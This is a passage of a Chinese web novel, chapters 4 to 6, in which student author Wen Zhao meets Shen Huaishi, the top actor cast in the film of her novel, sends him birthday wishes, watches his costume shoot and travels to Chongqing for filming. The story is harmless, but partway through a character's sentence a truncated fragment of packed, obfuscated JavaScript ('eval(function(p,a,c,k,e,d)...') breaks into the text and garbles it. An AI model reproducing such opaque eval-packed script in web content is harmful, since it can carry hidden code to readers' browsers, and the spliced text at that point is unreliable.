他看向沈淮时,又补充了一句,“还是她推荐你来演男主,不然我都不敢递本子,怕你档期太满接不了。” 顺着陈序的介绍,沈淮时的目光定在闻朝身上,淡淡地,透露着礼貌和疏离。 在沈淮时的注视下,闻朝觉得自己整个人就像是被架在火上烤一样,有些慌乱。她当即站起来鞠了个躬,“你好,我是《骤雪止》的作者闻朝。” “你好,我是沈淮时。” 闻朝忍不住用余光偷偷看他,沈淮时真的好白啊,也好瘦,同担们说得果然没错。 互相大概认识一下,会议便正式开始了。 书中关于冬日的戏份不少,而且取景地定在重庆。导演想趁着筹备完刚好赶上冬天,先把雪景部分拍完。 “编剧老师,你看呢?” 闻朝正悄悄偷看沈淮时,措不及防被导演这么一提问,整个人都有些懵。庆幸的是她虽然偷偷摸摸地在看沈淮时,但她还是有在听导演的讲话,当即说:“我没意见。” “行,那就先这样定了。” —— 大概过了一个多小时,会议结束了。 沈淮时因为还要赶行程,会议一结束他便坐车急匆匆地离开了,只留下了感慨的一大群人。 “沈淮时就是不一样啊,工作行程那么赶。” “人家可是顶流。” 对啊,沈淮时是谁?!那可是娱乐圈的顶流,是电影圈当下最红的男演员之一。凡他所参演的作品,票房与口碑皆不俗,次次大爆!出道十一年,归来也不过才二十五岁。 可以说有了沈淮时,就有了流量、质量和票房的三重保障。 闻朝在人群中静静地听着他们的低语,目光却仍然望着他离开的方向。 窗外初秋无声,而她的世界却刚刚迎来了一场汹涌的骤雪。 4. 二十有五,约定已成,遇见幸福请抓住 想见的人已经离开了,闻朝也没有继续留在这的理由了,当即打车回了酒店。 “怎么样?!男主角定下来了吗?!”编辑灵越老早就听说这场会议是定下男主角的一场重要的会议,估摸着时间就给闻朝打电话。 “你绝对猜不到是谁。”闻朝也忍不住卖起了关子。 “谁啊谁啊,你勾起了我的好奇心哦。”灵越的好奇心向来重,这会儿觉得这是个大瓜忍不住催促,“你说啊你说啊。” “沈淮时。”闻朝压低声音。 “什么?!沈淮时?!” “你压根想象不到沈淮时本人有多好看,原来蟹姐说的没错,他是真的不上镜。”闻朝语气中带着不自知的炫耀,像刚刚得了珍贵糖果的孩子。 灵越在电话捶胸顿足好不懊恼,早知道自己也死皮白赖地跟去了。“你给我要签名照!”灵越也是沈淮时的粉丝。 或者说这世上很少有人能不喜欢他。他足够温柔、谦逊、真诚,也足够清醒。 清楚自己要走的路线,珍惜自己的羽毛,会慎重挑选剧本,认真对待每一场戏。 “我自己还没有呢,”闻朝顿了顿,语气有些怅惘,“等我有机会要得到了,就给你也要张签名照。” “行,那你忙吧。” 挂了电话之后,闻朝仍然有些恍惚。她竟然真的近距离见到沈淮时了,还是在他二十五岁生日的前四天见到的。 她在床上激动地滚来滚去,把脸埋在被子上。 忽然听到手机“叮”了一声。 她顺手捞起被扔在被子上的手机,是一条好友申请。 闻朝疑惑地点进去,头像是迪迦奥特曼,就连名称也是【迪迦亲哥哥】。在她的社交圈子里,好像没有喜欢迪迦奥特曼的吧,都是成年人了。 除了她弟弟,但是她弟弟年龄还小,没有自己的手机啊。 等会儿,沈淮时好像…… 总不会是他吧? 她迟疑地点了通过,聊天界面立刻跳出一行系统提示: “你已添加了迪迦亲哥哥,现在可以开始聊天了。” 要不要主动发条消息呢?可是发什么呢?万一对方不是沈淮时呢? 她正犹豫着,对方先发来了消息: 【你好,我是沈淮时。】 【是导演推了你的名片给我,方便后续交流剧本。】 闻朝还在想该怎么回应,对方又发过来一张照片,是《骤雪止》的实体书,内页密密麻麻的,还有些笔记。 看得出来,他读得很认真。 【原著写的很好。】 看着沈淮时发来夸她写的很好的消息,闻朝莫名有些害羞,耳根微微发热,她赶紧打字回复:【谢谢。】 两个人的对话就停在这句谢谢了。 闻朝也不敢主动给他发消息聊七聊八,担心会影响到他休息。他能够发微信发消息就证明他没有在忙工作,那就属于他个人休息时间。闻朝作为理智粉丝,自然是不会去打扰到他。 好吧,说实话, 她就是怂。 —— 网上关于男主角争论持续发酵,有不少男爱豆男演员的粉丝在剧组官博评论区里拼命推荐自担。 直到官博放出沈淮时将出演顾嘉言一角的正式消息后,微博停滞了几秒后就崩了。 微博后台的程序员挠了挠自己光秃的头顶,哀怨道:“怎么又崩了啊?怎么又是他?!” 打工人打工魂,程序员也只是哀叹了一声便披甲上阵,开始修补。 而闻朝的手机突然乍响——来自闺蜜群的来电。 “朝朝,你的那本书叫什么名字来着?!”宋枝的声音难得透露出几分急切和震惊。 她原本待在被窝里悠然地追着剧,结果却发现粉丝群都疯了。大家都在讨论沈淮时将出演《骤雪止》的男主角顾嘉言一事。 当即给陆易安发去消息,两个人一合计,果断给闻朝打来了电话。 其实她俩并不追星,但是因为闻朝是沈淮时的忠实粉丝,她们也会默默关注着他的消息,生怕闻朝会因为错过沈淮时的消息而遗憾终生。 两年前闻朝以沈淮时为原型写了一本小说,她俩也只是随便听了听,并没有太上心。 直到今天听到这个消息。 “《骤雪止》啊。”闻朝还在忙着改剧本,并没有上微博关注这些消息。那可是沈淮时出演啊,她恨不得把每一句台词、每一段戏都打磨到极致的完美。 “沈淮时是不是要出演啊?!”宋枝难掩激动,兴冲冲地甩给她一个截图,“你看微博热搜!你也太厉害了!直接能请到原型本人来出演!” 闻朝退出通话界面,点开宋枝发来的图片,然后放大,一条#沈淮时将出演《骤雪止》男主角顾嘉言#的词条赫然位列第一,刚上榜便有千万的讨论量。 闻朝原本因为修改剧本而忙得昏昏沉沉的脑袋瞬间清醒,而后退出和闺蜜的聊天页面,打开微博热搜列表。 前十条热搜都是关于#沈淮时#、#《骤雪止》#、#顾嘉言人间白月光#的词条。 “看到没?!你这可真是飞黄腾达了,苟富贵勿相忘啊!”电话还没挂,宋枝的声音十分雀跃,好像自己中了千万的彩票一样。 “小弟在此膜拜膜拜你!”陆易安在电话另一头搞怪起哄。 闻朝看了看手机,沉默了片刻。 她忽然庆幸自己当初没有写太多亲密戏,毕竟是大男主小说,女主的戏份还是蛮少的。否则到时候在现场,她怕不是要醋成柠檬。 “你答应我俩说有钱了就带我们出去旅游,这事儿我可记着呢。”宋枝旧事重提。 “对啊对啊,咱们上次聊的关于去拉萨的计划,我也记着呢。”陆易安补充。 每个女生大概都做过“闺蜜暴富后包养我”的梦,并对此深信不疑。 “当然记得了,不过可能得等上大半年吧,这部影片还得等它拍摄完,而且咱们三个还得同时都有时间呢。”闻朝翻了翻日历,提议,“要不明年暑假吧?” “行,那我俩就等着你带我们环游世界了啊!” —— 《骤雪止》官宣影视化之后,仍需要一系列的筹备工作,并不急着开机。 闻朝也早早从北京飞回郑州,继续学业。事业已然蒸蒸日上,学业当然也不能落后腿。 夏末初秋的郑州,依旧是燥热的,整座城市仿佛被秋遗忘了。 闻朝坐在学校图书馆面对窗户的位子上,一抬眼便是学校的景色。 图书馆的规模很大,独独占了一整座近二十层的楼。她所在的是第四层的自习室,也是她平日写作码字的地方。 自习室很安静,学校甚至贴心地放了些绿植,看起来清新简约。 这会儿她改剧本改得实在是灵感枯竭,她索性合上电脑,盯着前方的玻璃发呆。 她在思考。 明天就是沈淮时二十五岁生日了。 虽然她和沈淮时还不是很熟悉,但是她有他微信啊,可以亲口给他说一声生日快乐。 只是这样,算不算私联? 想起那个著名的“二十五岁的约定”,那个和蟹钳草的约定也要结束了,她就忍不住喟叹。 灵感枯竭的时候过于难熬,倦意也在此刻上涌。她只好起身买杯咖啡来让自己的头脑保持清醒,回来重新坐在座椅上时,放在桌子上的手机突然震动了一下。 闺蜜群里传来消息提示。 宋枝:【@是阿淮吖,明天是沈淮时二十五岁生日吧?!】 闻朝虽然有些疑惑,自家闺蜜不追星啊,但还是回了个嗯。 对方瞬间甩过来一个照片,补充了一句:【沈淮时二十五岁生日线下粉丝应援,你可以去看看。】 闻朝撇了撇嘴,回道:【我都有他私人微信了,我还去线下粉丝应援……】 宋枝回了个微笑表情包,泼了她一盆冷水:【你能去他私人生日聚会吗?】 接着还补刀:【你连线上打电话祝他生日快乐都不敢,怂货……】 好好好,一盆掺着冰块的冷水泼得透彻。 闻朝对着手机虚空使了一套降龙十八掌,惹到我,你算是踢到棉花啦~ 不过宋枝说的没错,她的确不敢。 …… 在图书馆又呆了几个小时,闻朝才抱着改了一万多字的剧本离开。回到宿舍,简单洗漱之后,她就钻进了被窝。 也不睡觉,只是一个劲地刷着手机。 因为沈淮时生日,所有蟹钳草都熬夜,想要卡点给他送祝福。这个二十五岁的生日,对她们而言更是意义非凡。 闻朝也不例外,但是她提早就已经写好了长长的小作文,等着卡零点一到,就直接复制粘贴发给沈淮时。 10、9、8……3、2、1! 发送!!! 闻朝几乎在零点整秒刚到就点了发送,一篇小作文就这样顺利发了过去。然后她果断点开微博,刷新界面,就算她掐着点发给沈淮时,但他这会儿正忙,也不可能做到秒回她啊。 刚刷新微博,特别关心的那一栏就跳出新动态。 看到配图的那一瞬间,闻朝的眼睛瞬间瞪成了铜铃…… 天哪! 老公竟然发微博了?! 还是这种性张力拉满的照片?! 闻朝死命揉着眼睛,坐直了身子。白衬衫,领口微敞,上面还印着一个醒目的大红唇印!!!简直踩在了她的XP上。 她简直激动地都快要哭了,今天是蟹钳草的国宴啊吃这么好。 “太帅了!”闻朝又重新躺了回去,缩在被窝里默默感叹了一句。冷漠疏离却又带有一丝勾人的诱惑,帅得让她心颤。 “为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【……我不知道你老公有多帅,我只知道现在零点了我要睡觉了。】 【加一,准备睡觉结果消息叮叮地响着……】 闻朝回了个打扰了的表情之后也不骚扰她们了,只是又打开相册欣赏着沈淮时的美色。 宿舍漆黑一片,唯一的光源就是她手机屏幕的那几寸的蓝光。 她熬到现在也有些撑不下去了,伸出手揉了揉眼睛,将手机放到枕边,闭眼浅眯了一会儿,就深深地睡着了。 —— 隔天足足睡到了中午十二点才醒。 她昨晚一整晚都在做梦,梦到她为了给沈淮时庆祝生日,特意跑到北京,还亲手给他做了三层的大蛋糕。和他工作室的工作人员一起为他庆生,给他唱生日快乐,然后不小心被拍了上热搜了,她一直哭着给沈淮时道歉,哭着哭着…… 就醒了。 刚睡醒的时候眼角还带着泪,她整个人都是懵的,躺在床上放空了一会儿才彻底清醒过来。 简直是…… 诡梦! 太奇怪了,她怎么有那个胆子跑北京给他庆生呢?! 她倒是希望是真的,但也知道不可能。顺手摸了摸旁边的手机,解锁打开,然后就发现了沈淮时昨晚就回她消息了,在凌晨三点二十一。 沈淮时:【谢谢你的祝福,早点睡吧。】 很客套,礼貌中带有一丝疏离。 闻朝的眼神瞬间暗淡下来,但她并不是一个内耗的人。换个角度想,他俩现在还不是很熟悉,能回复她就已经很好了。这样想她又开心了,拿着聊天记录去给闺蜜们炫耀。 林温萌回了个“6”,又甩给她一张截图,满屏都是同一句话: “二十有五,约定已成,遇见幸福请抓住。” 末了她还问了一句:【沈淮时谈恋爱了?!】 虽然知道沈淮时没谈,但是闻朝在看见这个截图的时候心里还是没忍住,微微泛着酸。 【没有,只是他之前刚出道没多久就有人造谣他谈恋爱,他发微博澄清,说二十五岁之前不会考虑谈恋爱。】 发完消息之后,闻朝低头沉默了片刻,继续补充:【今天是他二十五岁生日,约定已经完成了,可能粉丝也想明白了,希望他也能拥有属于自己的幸福吧。】 林温萌似懂非懂:【噢噢。】 可能是因为他回复消息的喜悦来的太猛烈了,竟让她下意识忽视这个约定已经完成的事实。 网上关于这句话争论挺大的,粉丝被分成了两派: 一方认为他出道十一年,已经二十五岁了,和粉丝的约定已经结束了,粉丝希望他能够找到属于自己的幸福。 大抵养成系的最后就是放手吧,如果你幸福,我会比你先流泪。 另一方认为,沈淮时本人都没有说要谈恋爱,反而是粉丝在那搞咯噔文学,急着催婚催恋,反倒是给自己徒增伤感。 但是不管怎样,希望他过得好,是所有粉丝唯一的共同心愿。只不过,表现的方式不太一样罢了。 闻朝叹了一口气,本想再睡会儿,但是在看到这件事,也没了继续睡的想法,索性起来点个外卖,吃过饭后继续码字。 5. 沈淮时,很高兴你能来出演 电影的筹备工作推进得很快,两个多月就已经完成开机前的所有准备工作了。 接下来除了正式开机,最重要的一环就是定妆照的拍摄了。 拍摄是在摄影棚里进行的,所有的主演都需要参与,之后由官博统一发布就算大功告成了。 原本闻朝是可以不用到场的,但是陈序特意叫上她,说让她来看看男主的妆造符不符合她的原著里的顾嘉言。 其实还用她去确认吗?沈淮时站在那儿,什么都不做,就是她的男主。 其实陈序也是有私心的,他担心定妆照一出那些原著粉会不满意,影响影片的口碑,索性就让原作者也来到现场监督,日后倘若有争议,也能用“作者本人认可”来回应。 其实他的担心其实是多余的,凭沈淮时的人气和流量,那口碑和票房自是不用担心的。但是商人嘛,重利。对于既得利益,谁会嫌多呢? 闻朝对于去观看拍摄定妆照这件事倒是喜闻乐见,她能去看沈淮时了,光是想想,心就悄悄跳快了几分。 —— 拍摄现场, “我去,这简直就是白月光本光啊!”周围忽然响起低低的惊叹。 引得闻朝茫然抬头,她正低头看导演给她的一个本子。上面记录的正是影片拍摄日程计划,作为原著作者兼编剧,她需要跟组,也要调整自己的行程,确保不会影响到剧组的拍摄。 她刚抬头,目光却措不及防闯入沈淮时的眼眸。 在看到沈淮时的妆造时,她身体一僵。虽然早有预料,但在真正看到沈淮时以“顾嘉言”的模样走出来时,她还是不由得微微怔愣。 少年斜挎着帆布包,黑色耳机线缠绕在耳廓上。蓝色的卫衣领口有些大,堪堪垂着,露出白皙精致的锁骨。他只身站在那,柔和的灯光洒在他身上,为他渡上一层淡淡的温柔的光晕,仿若世间的美好就该在他身上永存。 周围人都在惊叹于沈淮时所带来的美色震撼,闻朝也一时忘了移开视线。 摄影师满脸惊艳,朝他竖起大拇指,“你真的太贴合角色了,简直就是书中走出来的真正的顾嘉言。这个角色,除了你,没人能出演。” 关于赞美他的话,沈淮时听到的不少,却还是在第一时间礼貌地弯腰道谢,“没有没有,您过奖了。” 摄影师也有拍过不少顶流大咖,但是还没有一个人像沈淮时这样谦逊。明明年少成名,该有的金钱权利地位和名声也都有了。但他偏偏像刚出道那几年,永远保持着自己的纯良和谦虚。 在娱乐圈这个大染缸中,他的干净和赤忱,是独一份的。 摄影师不住地点头赞许,果然不愧是沈淮时啊,难怪喜欢他的粉丝都很长情,因为沈淮时真的值得。 拍定妆照的时候,不远处的几个年轻工作人员捂着嘴偷笑,她们跺着脚犯花痴。 “我的天呐,沈淮时也太帅了吧!” “世界上怎么会有这么精致好看的男孩子啊?!” “女娲太偏心了……” “啊啊啊啊,不行了,血槽已空!” …… 沈淮时虽然现在是演员,但是他早些年是和顾衍、易止一起作为爱豆偶像组合出道的,对于镜头感和表现力早已刻进本能。 拍摄进行的很顺利,很快就结束了,摄影师满意地抱着照片去找导演了。 因为后续还有需要补拍的东西,沈淮时没走,暂时留了下来。他坐在一旁的椅子上,微微交叠双腿,膝盖上摊着《骤雪止》的原著,手指修长,无意识地转动着圆珠笔。 真好看…… 闻朝望着那双手不由得出了神。 “大大,能签个名吗?!”有几个负责化妆和服装的女孩子手里拿着书,眼睛亮晶晶、一脸期待地看着闻朝。 “当然可以啊,谢谢你们的喜欢。”闻朝接过书和笔,干脆利落地签下自己的名字,干净舒展的两个大字落在书的扉页上。 “闻朝大大,可不可以也给我签一个名啊?!” 这声音…… 闻朝猛地抬头,对上了沈淮时含笑的双眸。他笑得像个叉烧包,满眼都闪着搞恶作剧成功了的狡黠。 倒反天罡…… 闻朝嘟囔着,不甘示弱,反找他要签名照,“沈淮时老师可不可以也给我签个名啊?!” “可以啊,”沈淮时笑得更明显了些,“那咱们交换签名呗。” 闻朝本就是嘴上逞强,却不料沈淮时爽快地答应了,一时竟然有些错愕。 那几个小女孩本来也想找沈淮时要签名,但是没有勇气去找他。这会儿看见沈淮时竟然主动朝她们走近,激动地恨不得当场跳个霹雳舞。 夭寿啦! 沈淮时也太帅了吧呜呜呜呜呜呜。 沈淮时将自己手里拿着的那本书递给闻朝,挑眉看向她,示意道:“你先签。” 闻朝手里还拿着刚刚给几个女孩子签名的笔,听到沈淮时让她先签名,也不扭捏。当场接过沈淮时递过来的书,在书的扉页上签名。签完之后闻朝将自己的手机连同书和笔一起递给沈淮时,“那就麻烦沈老师帮我签在手机壳上吧,谢谢。” 沈淮时看她一板一眼地道着谢,眼神也不敢乱瞟,忍不住笑着点了点头,“行。” 旁边几个女孩子看他们签完名之后,才敢主动小心翼翼地问:“沈老师,您好。我们也是您的粉丝,可不可以要个签名啊?” 沈淮时没拒绝。 在得到沈淮时的同意之后,有一个女孩子掩饰不住自己的狂喜,连声赞叹,“沈淮时老师,你简直太帅了,这本书的顾嘉言简直就像是为你量身定做的一样。” “谢谢谢谢,你们太捧场了。”沈淮时一边签名一边温声回应。 闻朝静静地看着他低垂着的侧脸,总觉得有些莫名的心虚。这本书,某种意义上算是她对沈淮时的梦女实录了。 虽然关于以她自己为原型的女主的戏份并不多,但是这本书毕竟是自己虚构的,也藏着她多年未曾言明的心事。 如果自己那隐晦的爱意被他察觉…… 等那几个女孩子心满意足地拿着签名一蹦一跳地离开后,四周陷入了安静。 闻朝看着被灯光照耀着的沈淮时,却有一瞬间的恍惚。她有些犹豫,总觉得不应该欺瞒他,喜欢他又不丢人,自己的感情也没有什么见不得人的。 本着坦白的心,她低垂着脑袋,手指无意识地抠着衣角,语气生硬,“沈......沈老师,如果我说这本书的原型是你……” 闻朝有些心虚,越说声音越小,直到后面再也听不清她在说什么。 沈淮时显然没料到她会主动坦白,不免得怔愣住了,随后笑了笑,笑得很温柔很宠溺,“我知道啊,谢谢你的喜欢。” 其实沈淮时在拿到原著的那一刻,心里一直都有这个猜测:作者该不会是他粉丝吧…… 导演给他递本子的时候,他有看过剧本,虽然那个时候刚看了个开头,但是足以察觉到许多细节:男主角顾嘉言和他一样喜欢迪迦、害怕虫子、有低血糖…… 后来在会议上见到了闻朝,她看他的眼神,他太熟悉了。几乎所有的蟹钳草在见到他的那一刻,都是那样的眼神:惊喜、爱意、无措,还有一丝的委屈和无尽的想念。 “不,是我需要说谢谢的,”闻朝抿了抿唇,说得很诚恳,“沈淮时,很高兴你能来出演,谢谢你。” 说完这句话后,闻朝觉得耳根烫的厉害,整个人都要变成蒸笼上的螃蟹——红温了。 太尴尬了叭!!! “闻小姐,导演叫你!”不远处传来李言书的声音。 闻朝原本不喜欢和导演接触。毕竟不熟,她人又比较社恐,但是在这一刻觉得这声简直就如同天籁之音,救赎她于水火之中。 她再不走整个人都要熟得冒烟了。 “导演叫我,那我……先过去了?!” “嗯好,下次见。”沈淮时看得出来闻朝的不自在,朝她笑着,说着下次见。 “嗯,下次见。”闻朝难以压抑住自己激动的心情,转身朝导演办公室走时还有些同手同脚。 他给我说''下次见''诶...... 沈淮时看着她兴奋的背影,轻轻摇了摇头,笑意未退。他重新坐下,然后翻开他刚才递 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“就是确定他出演顾嘉言的那场会议上,开会结束后他加的我,说是导演推给他的,方便交流剧本。”闻朝说完,吸了一大口温热的珍珠奶茶,满足地眯起了眼睛,像是一只慵懒的猫。 “我去,老天爷啊,这是什么小说般的剧情啊,”林温萌在手机另一头几乎要跳起来了,“我不管,你得帮我要易止的签名。” 林温萌是易止多年的粉丝,这会儿听到闻朝和沈淮时有了联系方式,当即打起了主意。 麻辣烫有些烫,闻朝身子往后一靠,靠在沙发上,听到她的话,扬唇,贱嗖嗖地说:“你求求我啊~你求我,我就去帮你要签名照~” “滚呐!”林温萌笑骂道,“给我要,不要就绝交!” “行行行,肯定会帮你要的,”闻朝和林温萌向来就是这样的相处模式,哪怕被骂了滚也不会生气,主要是没人当真,当然也不会有人真的骂。“我尽量哈。” “行,”那边有人在叫林温萌的名字,她慌张说了结束,“不说了啊,我妈喊我,先挂了。” “好。”闻朝挂了电话,又趴回桌子上,麻辣烫这会儿也没有那么烫,吹吹基本上就能入口了。 她吃了几口,便听到手机“叮咚叮咚”地响着,有些哀怨地打开手机,入目便是导演陈序发给她的消息。 【官博已经发了定妆照,你转发一下就好了。】 她简单地回了个【好】就点开了微博。 现在热搜上基本上都是关于《骤雪止》影视化的词条,还有#沈淮时顾嘉言#的词条更是居高不下。 沈淮时的流量自是不用说,他的粉丝大多是陪着他从刚出道到现在,已经有十一年了,粉丝粘性度很高,也很长情。 再加上这部小说本身也积累了大量的书粉,这部影片从官宣开始就备受外界关注。 闻朝用自己的作者微博号转发了《骤雪止》官方微博发的最新关于定妆照的一条微博,并附上一段话:“期待《骤雪止》,期待顾嘉言。” 发完之后,她随手刷新了一下页面,短短几分钟,她那条转发的评论和点赞数就开始飞速增长。 评论里除了对定妆照的惊艳赞叹,也同样夹杂着不少对她这位原著作者的关注: 【原著大大来啦!顾嘉言真的从书里走出来了!】 【感谢大大创造出顾嘉言!更感谢大大推荐了沈淮时!合作顺利呀!】 【呜呜呜大大,你是不是也喜欢淮时啊?写的真的太真了,有很多相似点!(当然不喜欢也没关系哒,我只是好奇问问)】 看到那条评论,闻朝心头一顿,手指悬在屏幕上很久,终究还是没有回复。 忽然这时手机震动了一下,是灵越发来的消息,一个尖叫表情包,后面跟着文字:【定妆照真的绝了!你什么时候进组?记得帮我盯紧点,多拍点现场花絮!还有签名照!】 闻朝笑了笑,回复她:【下个月就进组了,放心。】 窗外暮色渐沉,北京城的灯火次第亮起。 她放下手机,低头继续吃那碗微辣的麻辣烫。 属于她和沈淮时的故事,才刚刚开始。 6. 沈淮时,我在寺庙偷偷为你求了平安 学期接近尾声时,空气中都浮动着蠢蠢欲动的雀跃。大家都在讨论着寒假要去哪里游玩,仿佛要将积攒了一个学期的精力,尽数泼洒在即将到来的假期里。 窗外,岁末的寒意正浓,细雪无声飘落,为世界覆上一层静谧的银白。 闻朝从睡梦中醒来的时候已经是上午十点,宿舍里还是一片漆黑。厚重的窗帘严丝合缝地阻挡了天光,也将室外的严寒隔绝。 室友们早在寒假开启的第一日便拖着行李箱归家,她们来自郑州本地,回家不过是公交或地铁一趟短途的旅程。 而闻朝不是,并且,她此刻也不打算回家。她将以编剧的身份,跟组进组。 几天前,剧组统筹发来了详尽的日程与住宿安排。开机时间已然敲定,就在三日之后。 昨夜,她已订了飞往重庆的机票。 提起重庆,她脑海中第一个跃出的,并非即将投入的工作,而是沈淮时。 那座山城,是他出生、成长、出道的地方,是他梦开始的原点,也是无数像她这样的粉丝,最初情感扎根的土壤。 闻朝下床后的第一件事,是接一杯热水。 刚睡醒的思绪尚且懵懂,捧着温热的玻璃杯,她靠在椅背上,任由自己放空。杯口袅袅升起的热气,在眼前氤氲成一片迷蒙的白雾。 一道突兀的手机铃声划破了寂静,是宋枝。 “你啥时候回家啊?”电话一接通,宋枝兴奋的嗓音便抢先响起,“我今天就要回去了,现在在车站候着呢!” “我今天不回,”闻朝端起杯子,看着雾气在杯壁上凝结又滑落,模糊了视线,“先去重庆。” “重庆?”宋枝明显怔了一下,随即咂摸出味儿来,语气带上了然的调侃,“又是为了你的沈淮时吧?” “嗯。”闻朝轻轻抿了口水,温水滑过喉咙,带来些许清醒。 宋枝在电话那头长叹一声,背景音是车站嘈杂的广播,“哎,我也想跟你一起去重庆玩。” 闻朝闻言,立刻点开购票软件,手指飞快地滑动搜索,截下最近一班从南阳到重庆的车次信息发了过去,“这个时间点,虽然晚了点,但我可以先在重庆等你。”她顿了顿,补充道,“能来吗?我现在就给你订票。” 宋枝那边罕见地沉默了几秒,大概没料到闻朝行动力如此之强。半晌,才传来她带着遗憾的声音,“……我也想去啊!但我妈‘圣旨’都下了,催我立刻马上滚回家。我现在已经在候车室了。” 闻朝忍了忍,那句几乎脱口而出的抱怨还是拐了个弯,“那你还跟我说你也想去?” 宋枝立刻嘿嘿一笑,熟练地顺毛,“哎呀,不小心把心里话说出来了嘛!我是真想去陪你,下次,下次一定!” “行吧行吧,”闻朝无奈地翻了个白眼,“我得赶紧收拾东西,吃个饭就去机场了,先挂了啊。” —— 山城的风,带着一种独特的、混合着江湖气与某种浪漫的凛冽,弥漫在机场的每个角落。三三两两抵达的旅客,或多或少都感受到了这份属于重庆冬季的问候。 寒意扑面,却又奇异地糅杂着一丝说不清道不明的温柔情愫,其浪漫程度,竟不输夏日万人狂欢时那份灼热。 一月的风虽然透着刺骨的寒,却以一种近乎热情的拥抱姿态,迎接着远道而来的游人。 闻朝独自推着行李箱,步履匆匆。航站楼内人潮汹涌,几乎到了举步维艰的地步。这一刻,她真切地惊叹于重庆的魅力。即便是在这般寒冷的凛冬,依然有如此多的人慕名而来。 山城不止有热烈的夏。即便是皑皑白雪,也阻挡不了人们的热爱与奔赴。而她来到重庆,更多地是想走一走他可能走过的路,见一见他看惯的风景,吹一吹或许也曾拂过他发梢的晚风。 有时候,能这样奋不顾身地为一个人,跋山涉水来到一座陌生的城市,本身已是一种隐秘的幸福。 “喂,朝朝,你到重庆了吗?” 刚走出机场,一阵猛烈的冷风便灌进脖颈,闻朝忍不住缩了缩脖子,将半张脸埋进大衣领口,一边接起宋枝的电话,一边伸手试图拦下出租车。 许是天寒,也或许是游客实在太多,她等了半晌,竟没有一辆空车停下。无奈之下,她只得拖着行李,寻了个背风的建筑角落暂避风寒。 “嗯,刚到。”闻朝将行李箱靠墙放好,自己也斜倚上去,浑身的疲惫感这才后知后觉地涌上来。 刚结束期末考试,便马不停蹄拖着箱子奔赴山城,饶是铁打的人,也经不住这般连轴转的奔波。 “你说剧组大冬天的跑重庆拍什么戏啊……”宋枝的语气里满是担忧,毕竟冬季路滑,又正值年关,“而且这大过年的,你也不回家?” 闻朝抬眼,望向远处被雪幕模糊了轮廓的高楼,目光悠远,带着些许连自己都未完全理清的惆怅,“回啊,等除夕前几天再回吧。” 她沉默了片刻,看着依旧纷纷扬扬的雪花,轻声道:“宋枝,重庆下雪了。” 电话那头的宋枝没好气,“傻子,冬天不下雪下什么?” 闻朝没接话。宋枝这才意识到她可能刚出机场,忙问:“你到酒店了吗?” “还没,”闻朝看了看依旧空旷的出租车等候区,叹了口气,“今天机场人特别多,打不到车。” “那你现在在哪儿?” “还在机场等着。诶,好像有车来了,先挂了,到了酒店给你电话。” “好,注意安全啊。” “嗯,我知道啦。”挂了电话,闻朝拉着箱子快步走向路边,远远看见一辆出租车亮着空车灯驶来。她刚加快脚步,却有人抢先一步招停了车。开门、上车、关门、驶离,动作一气呵成。 就这样,她眼睁睁看着那辆出租车载着别人绝尘而去。 闻朝:…… 这可真是……屋漏偏逢连夜雨啊。 行吧,毕竟是假期,游客多也在情理之中。闻朝拍了拍肩膀上落下的雪,又拉着行李箱回到了刚刚的位置,打开了打车软件,等待接单的圆圈转了很久,却迟迟没司机接单。 “今天重庆人这么多吗?”闻朝几乎要放弃,哀怨地靠着墙,望着被大雪笼罩成一片纯白世界的机场,“连个车都打不到。” “听说沈淮时回重庆了,不知道咱们有没有机会见到他。” “他回来是个人行程吧?还是别去打扰他了。” “也是,他工作那么累了,好不容易回家一次,还是让他好好歇歇吧。但是好遗憾啊,我喜欢他那么多年,一次都没有见到他。” “我也没有见到他,不过没关系啊,咱们可以等他的演唱会,还有他的电影路演。总归呢,能够见到他的正规渠道还是很多的。” “也是,希望他能开演唱会,那我一定要抢票去见他。” 几个女孩欢快的交谈声由远及近,又随着她们雀跃的脚步渐渐远去。 闻朝看着她们充满活力的背影和眼中毫不掩饰的赤诚,心底某个角落微微一动。不知道又等了多久,手机终于响起接单提示音,不远处的路边,一辆打着双闪的轿车静静停着。 闻朝锤了锤冻得有些麻木的腿,活动了一下四肢之后拉着行李箱来到车旁,道出自己的手机尾号,“尾号0670。” 司机确定尾号正确之后下车帮忙把行李箱搬到后备箱。 闻朝坐进温暖的车厢,一言不发,只是侧身看着窗外。雪依旧下个不停,整个山城都笼罩在雪色之中,山城也变成了雪城。 遇到了红灯,车子停了下来,闻朝的目光却在车窗外那张南滨路的路牌上停留了许久。 “姑娘,你啷个来重庆耍嘛?”司机师傅从后视镜看到她专注盯着路牌的眼神,用带着浓郁乡音的普通话问。 闻朝原本发着呆,措不及防被司机师傅这般问,一时没有反应过来,怔愣住了。“啊?!” “你是来重庆耍的嘛?”师傅好脾气地又问了一遍。 “嗯,我是来重庆旅游的。”闻朝不好意思地点了点头。 “那你啷个为哪个明星来的重庆嘛?!”绿灯亮了,车流又继续向前,司机师傅一边开着车一边跟闻朝闲聊。“听说沈淮时回切耍了,你也是为了他来切耍的嘛?!” “嗯,是他。”闻朝是土生土长的河南人,突然听到重庆话,一时竟听不太懂,但“沈淮时”三个字和话里的大概意思还是能够听明白。 “这个娃儿好厉害哦,他现在可是咱重庆的骄傲的嘛!”司机师傅语气中是止不住地赞扬,似乎是在夸赞自己的孩子,末了还不忘夸赞一下她的眼光,“幺妹,你嘞眼光好巴适撒。” 闻朝生来就不是什么外向的人,此刻面对着这份突如其来的独属于重庆的热情,有些招架不住,只能略显生硬地回应:“嗯,沈淮时很好,重庆也很好。” “哈哈哈,幺妹说话真讨人喜欢,”司机师傅爽朗一笑,开始向闻朝推荐他们当地的美食,“你晓不晓得我们重庆的火锅有好巴适,快切尝一哈。” “嗯,我听说过重庆火锅的美名,打算明天就去尝尝。”闻朝尴尬地笑了笑,但好在,酒店就要到了。 “谢谢师傅。”车子停在酒店门前,司机师傅乐呵呵地下车帮她搬运行李箱,临走了还嘱咐她注意安全。 闻朝腼腆地笑了笑,道了谢后便拉着行李箱去了酒店前台办理入住。她拿到房卡后谢绝酒店服务人员的帮忙,自己拉着行李箱就去了八楼。 820,挺巧的。 沈淮时的农历生日是八月二十,公历是九月二十一。 粉丝间常玩谐音梗:“九二一,就爱你。” —— 凛冬的重庆,窗外的雪未曾停歇。 